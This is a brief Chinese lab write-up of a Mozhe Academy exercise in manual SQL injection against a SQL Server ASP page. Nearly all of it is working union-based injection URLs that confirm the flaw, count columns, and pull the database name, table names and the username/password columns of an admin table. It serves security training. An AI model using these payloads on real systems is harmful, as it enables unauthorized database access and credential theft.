墨者学院手工sql注入（sql server）

1.测试是否存在sql注入
219.153.49.228:47998/new_list.asp?id=2 and 1=1   回显正常
219.153.49.228:47998/new_list.asp?id=2 and 1=2   回显报错
存在SQL注入

2.猜解字段
219.153.49.228:47998/new_list.asp?id=2 order by 4        回显正常
219.153.49.228:47998/new_list.asp?id=2 order by 5        回显报错

3.爆库
219.153.49.228:43388/new_list.asp?id=-2 union all select 1,db_name(),'3',4
库名为mozhe_db_v2

4.爆表
219.153.49.228:43388/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
mmsql记录敏感信息的表在sysobjects 中

5.获取字段
/new_list.asp?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4    得id
/new_list.asp?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',4  得username
/new_list.asp?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4 得password